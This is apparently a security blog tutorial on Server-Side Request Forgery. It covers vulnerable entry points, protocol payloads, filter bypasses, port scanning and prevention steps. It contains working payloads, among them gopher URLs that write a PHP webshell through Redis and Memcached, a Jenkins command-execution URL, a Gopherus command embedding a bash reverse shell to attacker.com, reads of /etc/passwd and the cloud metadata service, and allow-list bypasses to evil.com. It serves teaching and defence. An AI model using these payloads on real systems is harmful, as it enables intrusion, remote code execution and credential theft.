Post

Server-Side Request Forgery (SSRF)

Posted Updated
By bughra
5 min read
Server-Side Request Forgery (SSRF)

Introduction to SSRF

Server-Side Request Forgery (SSRF) is a web security vulnerability that allows attackers to induce the server-side application to make requests to an unintended location. By exploiting an SSRF vulnerability, attackers can bypass network access controls and access internal services behind firewalls, or interact with external systems from the perspective of the vulnerable server.

Identifying SSRF Vulnerabilities

SSRF vulnerabilities can typically be found in the following locations:

  1. URL parameters - When web applications fetch remote resources via URL parameters
  2. API endpoints - That make server-side HTTP requests
  3. Webhook configurations - Where servers make callbacks to specified URLs
  4. Document/media processors - That fetch remote resources (like PDF generators)
  5. File import/export features - Applications that retrieve files from URLs
  6. Analytics systems - That collect data from specified sources

Example of a potential SSRF vulnerability:

1

https://website.thm/item/2?server=server.website.thm/flag?id=9&x=

Exploiting SSRF with Different Protocols

SSRF is not limited to HTTP/HTTPS. Various URL schemes can be leveraged for different attack vectors:

File Protocol

1
2
3

file:///etc/passwd
file://\/\/etc/passwd
file:///c:/windows/win.ini

Allows reading local files on the server if the application permits the file:// protocol.

Gopher Protocol

1

gopher://127.0.0.1:25/xHELO%20localhost%0A%0AMAIL%20FROM%3A%3Chacker%40example.org%3E%0A%0ARCPT%20TO%3A%3Cvictim%40example.net%3E%0A%0ADATA%0ASubject%3A%20test%0A%0AMessage%20body%0A%2E%0A%0AQUIT%0A

Gopher is particularly powerful as it can:

  • Interact with almost any TCP service
  • Send custom data to services like Redis, MySQL, SMTP
  • Issue commands to these services using properly formatted payloads

Dict Protocol

1

dict://127.0.0.1:6379/info

The Dict protocol can be used to:

  • Retrieve definitions from dictionary servers
  • Potentially interact with other services that respond to simple text commands

LDAP Protocol

1

ldap://127.0.0.1:389

Can be used to query LDAP directories, potentially revealing sensitive directory information.

FTP Protocol

1

ftp://anonymous:anonymous@127.0.0.1:21

Allows interaction with FTP servers to list directories or retrieve files.

Redis Protocol

Using Gopher to interact with Redis:

1

gopher://127.0.0.1:6379/_SET%20ssrf_test%20%22Hello%20from%20SSRF%22

Command Injection Through SSRF

SSRF can lead to command injection in several scenarios:

Exploiting Internal Services

  1. Metadata Services in Cloud Environments:
    1

    http://169.254.169.254/latest/user-data/

    Cloud instance metadata may contain initialization scripts with credentials.

  2. Jenkins Exploitation:
    1

    http://internal-jenkins:8080/script

    Access to Jenkins Script Console can lead to direct command execution:

    1

    http://internal-jenkins:8080/script?script=println("cmd%20/c%20whoami".execute().text)
  3. Service-Specific Exploits:

Exploiting Redis via SSRF with Gopher:

1

gopher://127.0.0.1:6379/_%0D%0A%0D%0ACONFIG%20SET%20dir%20/var/www/html/%0D%0A%0D%0ACONFIG%20SET%20dbfilename%20shell.php%0D%0A%0D%0ASET%20payload%20"<?php%20system($_GET['cmd']);%20?>"%0D%0A%0D%0ASAVE%0D%0A%0D%0AQUIT%0D%0A

This creates a webshell via Redis.

Exploiting Memcached:

1

gopher://127.0.0.1:11211/_%0d%0aset%20ssrf_shell%201%200%2022%0d%0a<?php%20system($_GET[0]);?>%0d%0a

Command Injection via Internal Webhooks

If a server processes webhook data and executes commands based on that data:

1

http://internal-service/api/webhook?callback=http://attacker.com/payload&command=id

Exploiting XML Parsers with XXE via SSRF

1
2
3
4

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-service/exec?cmd=whoami">
]>
<root>&xxe;</root>

Bypass Techniques for SSRF Protections

Bypassing Deny Lists

A deny list is a security approach where all requests are accepted except those explicitly blocked. Developers often block specific IPs or domains like:

  • localhost
  • 127.0.0.1

Bypass techniques include:

  • Alternative localhost references: 0, 0.0.0.0, 0000, 127.1, 127.*.*.*, 2130706433, 017700000001
  • IPv6 representation: ::1, 0:0:0:0:0:0:0:1
  • Custom DNS subdomain resolution: 127.0.0.1.nip.io
  • Double URL encoding: http://127.0.0.1 → http%3A%2F%2F127.0.0.1 → http%253A%252F%252F127.0.0.1
  • For cloud environments, blocking 169.254.169.254 (metadata service) can be bypassed by creating a subdomain pointing to this IP address

Bypassing Allow Lists

Allow lists only permit requests to specified domains or patterns, such as requiring URLs to start with https://website.thm.

Bypass techniques include:

  • Creating subdomains that match the allowed pattern: https://website.thm.attacker-domain.com
  • Using URL fragments: https://website.thm@evil.com
  • Using URL credentials: https://website.thm:password@evil.com
  • Path traversal after allowed domain: https://website.thm/../../evil.com/

Exploiting Open Redirects

If direct SSRF is blocked, attackers may leverage open redirect vulnerabilities:

  1. Find an open redirect on the target site (e.g., https://website.thm/link?url=https://tryhackme.com)
  2. Use the redirect to channel the SSRF request to the attacker’s target

Enumeration Techniques

Port scanning via SSRF:

1
2
3
4
5

# Generate a list of ports to scan
seq 1 10000 > ports.txt

# Use ffuf to scan ports through SSRF
ffuf -w ./ports.txt -u http://172.17.0.2/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://127.0.0.1:FUZZ/&date=2024-01-01" -fr "Failed to connect to"

Sample output showing open ports:

1
2
3
4

[Status: 200, Size: 45, Words: 7, Lines: 1, Duration: 0ms]
    * FUZZ: 3306
[Status: 200, Size: 8285, Words: 2151, Lines: 158, Duration: 338ms]
    * FUZZ: 80

Advanced Service Enumeration

Fingerprinting Services via HTTP Response Differences:

1
2
3
4
5
6
7
8

# HTTP service fingerprinting via response size and content
for PORT in $(seq 1 65535); do 
  curl -s "http://vulnerable-site.com/fetch?url=http://127.0.0.1:$PORT" -o "port_$PORT.txt"
  SIZE=$(wc -c "port_$PORT.txt" | cut -d ' ' -f 1)
  if [ $SIZE -gt 0 ]; then
    echo "Port $PORT - Response size: $SIZE bytes"
  fi
done

Advanced Exploitation

Gopher Protocol Exploitation

The Gopher protocol can be especially dangerous with SSRF as it allows sending raw data to TCP services. Tools like Gopherus (https://github.com/tarunkant/Gopherus) can simplify creating payloads for:

  • MySQL
  • Redis
  • FastCGI
  • SMTP

Example usage:

1
2
3
4
5

# Creating a MySQL payload
python gopherus.py --exploit mysql --user root --password root --target-server 127.0.0.1:3306

# Creating a Redis payload to write a webshell
python gopherus.py --exploit redis --command "eval 'require(\"os\").execute(\"/bin/bash -c \\\"bash -i >& /dev/tcp/attacker.com/4444 0>&1\\\"\")')" --lhost 127.0.0.1 --lport 6379

Blind SSRF Detection

To detect blind SSRF (where you don’t see the response):

1
2
3
4

# Set up a listener
nc -lnvp 8000

# Send a request that forces the vulnerable server to call back to your listener

Chaining SSRF with Other Vulnerabilities

  • SSRF to XXE:
1
2
3
4

  <!DOCTYPE data [
  <!ENTITY xxe SYSTEM "http://internal-service/sensitive-data">
  ]>
  <data>&xxe;</data>
  • SSRF to LFI:
    1

    http://vulnerable-site.com/fetch?url=file:///etc/passwd
  • SSRF to RCE via ImageMagick:
    1

    http://vulnerable-site.com/fetch?url=https://attacker.com/exploit.mvg

    Where exploit.mvg contains ImageMagick code execution vectors.

SSRF Prevention Techniques

  1. Input Validation: Implement strict input validation for all user-supplied URLs and IP addresses
  2. Use Allow Lists: Only permit connections to specific, pre-approved domains or IP addresses
  3. Disable Unnecessary Protocols: Block the use of dangerous URL schemes like file://, gopher://, and dict://
  4. Network Segmentation: Use network-level controls to prevent the server from accessing internal resources
  5. Use a Dedicated User: Run services that accept user input with minimal privileges
  6. HTTP Request Libraries: Use libraries that don’t follow redirects automatically or support non-HTTP protocols
  7. Response Handling: Don’t return raw responses from remotely fetched URLs to users
  8. Implement Network-Level Protections: Use firewall rules to restrict outbound connections from web servers
  9. Use Access Control Lists: Define which internal resources each application component can access

Conclusion

SSRF vulnerabilities can lead to severe security issues, including unauthorized access to internal systems, data exposure, and in some cases remote code execution. The versatility of SSRF attacks, particularly when combined with various protocols and chained with other vulnerabilities, makes them especially dangerous in modern web applications.

Understanding SSRF attack vectors and defense mechanisms is crucial for both offensive security testing and defensive implementation. Always ensure proper permission and authorization when testing for SSRF vulnerabilities in any environment.

Web Security, Server-side
This post is licensed under CC BY 4.0 by the author.